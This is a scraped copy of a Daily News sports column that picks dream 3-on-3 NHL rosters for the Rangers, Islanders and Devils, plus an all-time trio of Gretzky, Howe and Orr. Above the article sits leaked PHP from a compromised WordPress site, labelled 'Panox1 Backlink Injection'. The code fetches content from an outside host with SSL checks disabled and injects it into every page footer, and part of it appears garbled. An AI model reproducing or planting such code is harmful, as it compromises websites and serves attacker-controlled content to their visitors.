// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 Leonard: Daily News builds the dream 3-on-3 NHL rosters – Next Sports News

Leonard: Daily News builds the dream 3-on-3 NHL rosters

[ad_1]

Mark Messier with a head of steam in the open ice? Yep, sign us up.TORRIE, KEITH

Mark Messier with a head of steam in the open ice? Yep, sign us up.

The NHL’s 3-on-3 overtime format for Sunday night’s All-Star tournament will be entertaining, with rosters stocked by the best of hockey’s four divisions. But that got us thinking: What if you had to pick just three players in your team’s history to represent your franchise in a winner-take-all, all-time tournament?

Here, in picks that are sure to make some fans’ blood boil, are the Daily News’ 3-on-3 dream teams for the Rangers, Islanders and Devils franchises, plus our All-Time NHL Team drawn from every roster ever.

Oh, and if we had our choice, our 3-on-3 tournament would be played at Nassau Coliseum: What a venue. Go on Twitter or Facebook and tell us what you think.

Brian LeetchED BETZ/AP

Brian Leetch

NEW YORK RANGERS: F Mark Messier, F Jaromir Jagr, D Brian Leetch

The exclusion of Rod Gilbert certainly will be controversial, but it’s difficult to argue with teaming 2005-06 Jagr (123 points), early-90s Messier and Leetch as the Blueshirts’ 3-on-3 dream team trio. You could actually make an argument that, outside of one defenseman who played for the Boston Bruins a while back, there is no other defenseman in NHL history you’d take in this format over Leetch. No? Fine, who would you take instead? Messier’s status among the all-time greats and his leadership during the 1994 Stanley Cup run make him a shoe-in, as does the fact that he hates to lose more than most people love to win. The all-around dazzling scorer and playmaker Jagr, during the height of his Ranger tenure, gets the nod over the lethal scorer Gilbert.

Honorable mentions: Jean Ratelle, Adam Graves, Andy Bathgate, Brad Park.

Give us Mike Bossy to represent the Islanders in our ultimate 3-on-3 tournament.RICHARD DREW/ASSOCIATED PRESS

Give us Mike Bossy to represent the Islanders in our ultimate 3-on-3 tournament.

NEW YORK ISLANDERS: F Bryan Trottier, F Mike Bossy, D Denis Potvin

It might be more fun to imagine 1989-90 Pat LaFontaine (105 points), 1992-93 Pierre Turgeon (132 points), or even current captain John Tavares on this roster, paired with some of the Islanders’ largest legends. But it also wouldn’t be my honest answer. Give me three of the cornerstones of one of the greatest NHL teams to ever play the game: Potvin’s first-pass, Trottier’s grit and strength and playmaking, and Bossy’s finishing – and especially the chemistry of Trottier and Bossy as a duo.

Honorable mentions: Brent Sutter, Ken Morrow.

Ilya Kovalchuk flying through the open ice would put a scare in any opposing team.Al Bello/Getty Images

Ilya Kovalchuk flying through the open ice would put a scare in any opposing team.

NEW JERSEY DEVILS: F Ilya Kovalchuk, F Patrik Elias, D Scott Niedermayer

When I was growing up in Philadelphia as a Flyers fan, my family and I watched the Devils snuff out the orange-and-black year after year, and we often would quote John Belushi’s character Bluto from “Animal House” in frustration: “Niedermayer!” The Devils D-man was the kind of player who impacted games so often and so significantly that play-by-play announcers probably got tired of saying his name. He would bolster an electric duo of the whirling Russian Kovalchuk and the lethal finisher Elias – the franchise’s all-time leading goal scorer. If only Kovalchuk would return to the NHL one day. His five minutes of 3-on-3 OT would be worth the price of admission alone. While it would fit the Devils’ defensive tradition to put two defensemen on this team – teaming the hardnosed Scott Stevens with Niedermayer – I’m not sure Stevens would be able to stay on the ice given how the NHL now legislates against headshots.

Honorable mentions: John MacLean, Bobby Holik, Kirk Muller, Zach Parise, Ken Daneyko.

Can you imagine Bruins legend Bobby Orr in a 3-on-3 tournament? That would be awesome.Cronin, Dan

Can you imagine Bruins legend Bobby Orr in a 3-on-3 tournament? That would be awesome.

ALL-TIME: F Wayne Gretzky (Edmonton Oilers), F Gordie Howe (Detroit Red Wings), D Bobby Orr (Boston Bruins)

Give me The Great One, Mr. Hockey, and the Boston blue liner that changed the game. It is downright exhilarating to imagine what the revolutionary Orr would do with the open space of a 3-on-3 situation. Gretzky would dominate with his vision, intelligence, poise, skating, playmaking and grace. There are plenty of all-time greats to consider as the third, perfect complement: Maurice “Rocket” Richard, Bobby Hull, Guy Lafleur, and Mario come to mind. Howe, the sport’s namesake, however, deserves the nod in our opinion because just like Gretzky and Orr he is larger than life for the sport. This team is the NHL’s 3-on-3 version of Mount Rushmore. It’s impossible not to chisel that out of stone without Howe a part of it.

[ad_2]

Source link

Reply